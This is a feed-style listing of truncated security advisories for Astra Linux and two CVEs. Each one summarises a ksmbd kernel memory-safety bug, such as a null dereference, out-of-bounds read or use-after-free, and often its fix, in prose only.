Astra Linux – Vulnerability found in Linux 6.1, Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: A missing return value check bug has been fixed. In the smb2sendinterimresp function, if ksmbdallocworkstruct fails to allocate a node, it returns a NULL pointer to the inwork pointer. This can lead to an illegal memory...

Astra Linux – Vulnerability in Linux 5.15

A flaw was discovered in the ksmbd component of the Linux kernel, a high-performance in-kernel SMB server. The specific flaw occurs during the handling of SMB2LOGOFF commands. The issue arises from the lack of proper validation of a pointer before accessing it. An attacker can exploit this...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: fixed the bug in the trap function of smb2lock. If the lock count is greater than 1, the flags might contain an old value. This issue should be checked using the flags of smb Lock, not those of smb Lock. This could lead...

Astra Linux – Vulnerability found in Linux 5.15, Linux 6.1

A issue was discovered in ksmbd within the Linux kernel before version 6.6.10. The smb2getdataarealen function in fs/smb/server/smb2misc.c can lead to an out-of-bounds access via smbstrndupfromutf16, due to improper handling of the relationship between the Name data and the CreateContexts data...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: smb/server: fixed a potential null-ptr-deref of leasectxinfo in smb2open A null-ptr-deref will occur when reqoplevel == SMB2OPLOCKLEVELLEASE and parseleasestate returns NULL. This issue was fixed by checking whether...

Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in ksmbd within the Linux kernel versions 5.15 through 5.19, prior to 5.19.2. There is an out-of-bounds read and an OOPS error for SMB2write, when a large length is present in the zero DataOffset case. source-iocs-preserved const=SMB2WRITE...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ksmbd: A slab-out-of-bounds issue was fixed in smbstrndupfromutf16. If the -NameOffset of smb2createreq is smaller than the Buffer offset of smb2createreq, a slab-out-of-bounds read may occur from smb2open. This patch sets the...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: Fix for use-after-free in smb2lock. If smblock-zerolen has a value, the -llist of smblock is not deleted, and flock is an old version. This will cause a use-after-free during error handling routines...

CVE-2026-72422

A flaw was found in ksmbd, the in-kernel SMB3 server for Linux. A remote attacker could exploit a use-after-free vulnerability by sending specially crafted concurrent SMB2 NEGOTIATE requests on the same connection. This could lead to memory corruption, potentially allowing the attacker to execute...

CVE-2026-72381

A flaw was found in ksmbd, the in-kernel SMB3 server for Linux. A remote attacker can exploit a race condition by initiating two concurrent SMB2 durable reconnects with the same persistent ID. This can lead to a use-after-free error, where freed memory is accessed, potentially causing system...
